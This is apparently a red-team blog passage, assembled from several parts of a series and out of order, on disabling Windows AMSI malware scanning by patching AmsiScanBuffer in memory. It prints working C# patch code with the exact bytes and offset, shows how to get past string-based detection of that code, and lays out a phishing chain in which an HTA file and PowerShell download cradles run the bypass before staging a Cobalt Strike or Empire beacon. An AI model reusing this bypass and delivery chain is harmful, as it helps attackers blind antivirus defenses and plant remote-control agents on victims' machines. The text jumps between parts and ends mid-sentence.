In Part 2, we engineered a delivery method for the AmsiScanBuffer Bypass discussed in Part 1. In this post, we’ll make some modifications to the bypass itself.
If you read Part 1 and the original posts from CyberArk, you will know that the bypass works by patching the AMSI DLL in memory. But before we make any modifications to the bypass — let’s explore that in some additional detail, so we all have a clear baseline understanding.
Bypass Primer
We can use API Monitor to have a peak at what’s going on.
To summerise what we’re looking at:
powershell.exe
starts and
amsi.dll
is loaded into its memory space.
We type something into the console.
The
AmsiScanBuffer
function is called.
Where our input is passed into.
This is the AmsiScanBuffer function as documented by Microsoft:
We won’t worry about all of this — just the idea that we have a
buffer
of
length
, that when scanned, returns a
result
. To help visualise the bypass, let’s throw PowerShell into a debugger.
We’ll set a breakpoint on the
AmsiScanBuffer
function and type something into the console.
We step down to the
mov edi, r8d
instruction — because we know from CyberArk that
r8d
contains the
length
of the
buffer
. We can also see that in Binary Ninja.
After the instruction, both
edi
and
r8d
contain
2c
— which in decimal is
44
. Our string
"this is some garbage"
is
22
characters, so this checks out (bits and bytes, amirite). In the context of
AmsiScanBuffer
, it’s saying “scan 22 bytes of this buffer”.
The bypass works by slightly patching this instruction — changing
mov edi, r8d
to
xor edi, edi
. Because if you
xor
two identical values, i.e. the current value of
edi
(whatever it happens to be) with itself, the result is always
0
. So if we run the bypass and look at the instructions again…
edi
is now zero — i.e. “scan 0 bytes of this buffer”. So if
AmsiScanBuffer
scans
0
bytes, it will not actually scan anything at all.
AMSI_RESULT_CLEAN
So the whole reason for this post, is that I was talking to Kuba Gretzky about the bypass after I’d posted my Part 1. He said:
the risky part with the bypass is that it uses a fixed offset from the start of the function
AmsiScanBufferPtr + 0x001b
. MS can just slightly modify the
AmsiScanBuffer
function and the bypass will result in a crash. It would be wiser to do hotpatching at the beginning of the function to return a result that would say that nothing was found.
In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.
In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.
So, let’s get cracking.
Before we start, we have a few goals in mind:
Deliver “something” to a user, via a phish or some other social engineering event.
The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
Perform the AMSI bypass.
If the bypass was successful, stage a beacon.
Otherwise, run for the hills.
For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂
Generate Stager
We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.
AMSI Bypass
For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use
Add-Type
to make it available within the PowerShell session.
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, <span class="string">"AmsiScanBuffer"</span>);
<span class="keyword">if</span> (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine(<span class="string">"ERROR: Could not retrieve AmsiScanBuffer function pointer"</span>);
<span class="keyword">return</span> <span class="number">1</span>;
}
UIntPtr dwSize = (UIntPtr)<span class="number">5</span>;
uint Zero = <span class="number">0</span>;
<span class="keyword">if</span> (!VirtualProtect(AmsiScanBufferPtr, dwSize, <span class="number">0x40</span>, out Zero))
{
Console.WriteLine(<span class="string">"ERROR: Could not change AmsiScanBuffer memory permissions!"</span>);
<span class="keyword">return</span> <span class="number">1</span>;
}
<span class="comment">/*
* This is a new technique, and is still working.
* Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
*/</span>
Byte[] Patch = { <span class="number">0x31</span>, <span class="number">0xff</span>, <span class="number">0x90</span> };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(<span class="number">3</span>);
Marshal.Copy(Patch, <span class="number">0</span>, unmanagedPointer, <span class="number">3</span>);
MoveMemory(AmsiScanBufferPtr + <span class="number">0x001b</span>, unmanagedPointer, <span class="number">3</span>);
Console.WriteLine(<span class="string">"AmsiScanBuffer patch has been applied."</span>);
<span class="keyword">return</span> <span class="number">0</span>;
}
}
}
I don’t think it’s clear from Andre’s post which version of Windows 10 he was testing against, but the CyberArk post specifically references 1709 (17074) and was originally posted on 23 May 2018. Microsoft have been doing a really effective job as of late, with keeping Defender and AMSI up-to-date. Even though MSRC said they would not fix it, they did say:
We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.
So at the time of writing (29 October 2018), I’m on Windows 10 1803 (17134). Does this bypass still work? Turns out the answer is yes, and no.
I copied the code verbatim, compiled to a DLL and attempted to load it via reflection, which failed:
Because the code is relatively short, I thought I would just step through it line-by-line to see if I could find the offending content. I did this in PowerShell ISE, by putting all the C# into a text variable and “running” the script. Then, systematically removing a couple of lines of code each time, until I got to the point AMSI wasn’t flagging anymore.
To simplfy the process, I shortened the code a bit more by removing the
if
statements and removing console output. So my version became:
The one thing they all have in common…? Yep, the string (or substring)
AmsiScanBuffer
!
You can actually test this by just typing it into a PowerShell window…
And some funny consequences…
It’s also worth noting
"Amsi Scan Buffer"
also flags, but others like
"AmsixScanxBuffer"
or
"Amsi.Scan.Buffer"
are fine.
But this also means the reason my first reflection test failed, was probably down to this string being in my path and not the actual file itself. So I renamed everything and tried again…
Success.
This is still only a “somewhat limited” solution, because there are more ways we might want to load this code. If we want to use this directly in a PowerShell script, we could do